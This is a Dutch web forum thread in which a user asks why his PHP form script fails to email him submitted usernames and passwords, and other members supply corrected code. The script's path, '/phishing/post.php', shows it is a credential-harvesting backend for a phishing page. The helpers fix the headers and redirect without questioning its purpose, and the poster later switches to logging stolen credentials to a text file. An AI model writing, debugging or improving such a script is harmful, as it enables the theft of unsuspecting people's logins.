PHP Mail - Zoek de fout

Gestart doorTherichg14 reacties46 weergaven

15 berichten · pagina 1 van 1

Therichg

Lid · Topicstarter

Berichten
676
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Hallo,

Ik heb hier een scriptje in php, dat de gebruikersnaam en wachtwoord uit een formuliertje naar mij mailt.

dit is het script:

[COLOR= #0000BB]<?php[/COLOR]
[URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]username[/COLOR][COLOR= #007700]]) &&[/COLOR] [URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]password[/COLOR][COLOR= #007700]])) {[/COLOR] 
    [COLOR= #0000BB]$to[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]"therichguards@gmail.com"[/COLOR][COLOR= #007700];[/COLOR]  
    [COLOR= #0000BB]$username[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]username[/COLOR][COLOR= #007700]];[/COLOR]  
    [COLOR= #0000BB]$password[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]password[/COLOR][COLOR= #007700]];[/COLOR]  
    [COLOR= #0000BB]$subject[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]"Nieuwe gebruiker gemaakt: ~ "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$username[/COLOR][COLOR= #007700];[/COLOR]  
    [COLOR= #0000BB]$ip[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #0000BB]$_SERVER[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]REMOTE_ADDR[/COLOR][COLOR= #007700]];[/COLOR]   
      
    [COLOR= #0000BB]$body[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]"Username: "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$username[/COLOR][COLOR= #007700].[/COLOR] [COLOR= #DD0000]" 
Password: "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$password[/COLOR][COLOR= #007700].[/COLOR] [COLOR= #DD0000]" 
IP: "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$ip[/COLOR][COLOR= #007700];[/COLOR]  
       
    [URL="http://www.php.net/mail"]mail[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$to[/COLOR][COLOR= #007700],[/COLOR] [COLOR= #0000BB]$subject[/COLOR][COLOR= #007700],[/COLOR] [COLOR= #0000BB]$body[/COLOR][COLOR= #007700]);[/COLOR] 
    [URL="http://www.php.net/header"]header[/URL][COLOR= #007700]([/COLOR][COLOR= #DD0000]"Location: http://www.therichguards.be/"[/COLOR][COLOR= #007700]);  
}[/COLOR] [URL="http://www.php.net/else"]else[/URL] [COLOR= #007700]{[/COLOR]  
    [URL="http://www.php.net/header"]header[/URL] [COLOR= #007700]([/COLOR][COLOR= #DD0000]Location: http://www.therichguards.be[/COLOR][COLOR= #007700]); 
}[/COLOR]  
?>


maar ik krijg maar geen e-mail, wat ik ook probeer.

iemand ideeën?
0
Therichg

Lid · Topicstarter

Berichten
676
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
er staan toch headers?

kan iemand de broncode aanpassen zodat hij goed is, en dan weer terug posten

Mvg
Therichg
0
Berichten
153
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
header (Location: http://www.therichguards.be);


Misschien naar

echo <meta http-equiv="refresh" content="0;URL=http://www.therichguards.be" />;
0
Tgrm

Lid

Berichten
2.133
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Goldo schreef:
header (Location: http://www.therichguards.be);
Misschien naar

echo <meta http-equiv="refresh" content="0;URL=http://www.therichguards.be" />;


Als het goed is klopt datwink
0
Berichten
15.446
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
[COLOR= #0000BB]<?php[/COLOR]
[URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]username[/COLOR][COLOR= #007700]]) &&[/COLOR] [URL="http://www.php.net/isset"]isset[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]password[/COLOR][COLOR= #007700]])) {[/COLOR] 
    [COLOR= #0000BB]$to[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]"therichguards@gmail.com"[/COLOR][COLOR= #007700];[/COLOR]  
    [COLOR= #0000BB]$username[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]username[/COLOR][COLOR= #007700]];[/COLOR]  
    [COLOR= #0000BB]$password[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #0000BB]$_POST[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]password[/COLOR][COLOR= #007700]];[/COLOR]  
    [COLOR= #0000BB]$subject[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]"Nieuwe gebruiker gemaakt: ~ "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$username[/COLOR][COLOR= #007700];[/COLOR]  
    [COLOR= #0000BB]$ip[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #0000BB]$_SERVER[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]REMOTE_ADDR[/COLOR][COLOR= #007700]];[/COLOR]   
      
    [COLOR= #0000BB]$body[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]"Username: "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$username[/COLOR][COLOR= #007700].[/COLOR] [COLOR= #DD0000]" rnPassword: "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$password[/COLOR][COLOR= #007700].[/COLOR] [COLOR= #DD0000]" rnIP: "[/COLOR] [COLOR= #007700].[/COLOR][COLOR= #0000BB]$ip[/COLOR][COLOR= #007700];[/COLOR]  
    
        [COLOR= #0000BB]$mime_boundary[/COLOR][COLOR= #007700]=[/COLOR][URL="http://www.php.net/md5"]md5[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/time"]time[/URL][COLOR= #007700]());[/COLOR] 
        [COLOR= #0000BB]$headers[/COLOR][COLOR= #007700]=[/COLOR][COLOR= #DD0000]" From"[/COLOR][COLOR= #007700].[/COLOR][COLOR= #0000BB]$username[/COLOR][COLOR= #007700].[/COLOR][COLOR= #DD0000]" <"[/COLOR][COLOR= #007700].[/COLOR][COLOR= #0000BB]$subject[/COLOR][COLOR= #007700].[/COLOR][COLOR= #DD0000]">nX-Mailer: PHP/"[/COLOR] [COLOR= #007700].[/COLOR] [URL="http://www.php.net/phpversion"]phpversion[/URL][COLOR= #007700]();[/COLOR]
        [COLOR= #0000BB]$headers[/COLOR][COLOR= #007700].=[/COLOR] [COLOR= #DD0000]"MIME-Version: 1.0"[/COLOR][COLOR= #007700];[/COLOR] 
        [COLOR= #0000BB]$headers[/COLOR][COLOR= #007700].=[/COLOR] [COLOR= #DD0000]"Content-Type: multipart/related; boundary=""[/COLOR] [COLOR= #0000BB]$mime_boundary[/COLOR][COLOR= #007700].[/COLOR][COLOR= #DD0000]"""[/COLOR][COLOR= #007700];[/COLOR]
   
    [URL="http://www.php.net/if"]if[/URL] [COLOR= #007700]([/COLOR][URL="http://www.php.net/mail"]mail[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$to[/COLOR][COLOR= #007700],[/COLOR] [COLOR= #0000BB]$subject[/COLOR][COLOR= #007700],[/COLOR] [COLOR= #0000BB]$body[/COLOR][COLOR= #007700],[/COLOR] [COLOR= #0000BB]$headers[/COLOR][COLOR= #007700]));
    {[/COLOR]
      [URL="http://www.php.net/echo"]echo[/URL] [COLOR= #DD0000]verzonden[/COLOR][COLOR= #007700];

    } 
}[/COLOR]
?>


Volgens mij zoiets met de headers?
sorry als ik het fout heb, ben er ook niet goed in hoor winkedit: bij $headers from moet natuurlijk dan je websitenaam ofzo
0
Rik

Lid

Berichten
18.393
Reputatie
0
Punten
0,04
Lid sinds
Laatst gezien
Dan moet je de headers nog wel in de mail functie zetten h¨¦ marjolein yummie
0
Berichten
15.446
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
check me edit yummieHeb ik toegevoegd, ik zag idd dat ik die was vergeten wink
0
Therichg

Lid · Topicstarter

Berichten
676
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
heb ik gedaan, nu krijg ik dit:

Serverfout.

Er is een fout opgetreden toen de website http://89.188.29.116/phishing/post.php probeerde op te halen. De server kan offline zijn wegens onderhoud of kan onjuist zijn geconfigureerd.

Hier zijn enkele suggesties:
Deze webpagina later opnieuw laden.
Meer informatie over deze fout
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
De pagina bestaat niet
0
Therichg

Lid · Topicstarter

Berichten
676
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
jawel hij bestaat wel
0
Berichten
5.274
Reputatie
1
Punten
0,01
Lid sinds
Laatst gezien

Eindhoven, Nederland

Nielsie schreef:
De pagina bestaat niet
Idd, bestaad niet, je hebt niet goed geportforward ofzow.
0
Therichg

Lid · Topicstarter

Berichten
676
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
weg
0
Therichg

Lid · Topicstarter

Berichten
676
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
mag dicht, heb het opgelost met Php Fwrite ipv mail, naar een txt.
moet ik gewoon eens per dag de txt checken
0
Berichten
6.144
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Laat maar, sorry voor de post.
0

Jouw reactie

Deel je idee, stel een vraag of help een ander verder.

Editor laden…

Praat mee met de One2xs-community.

Inloggen om te reageren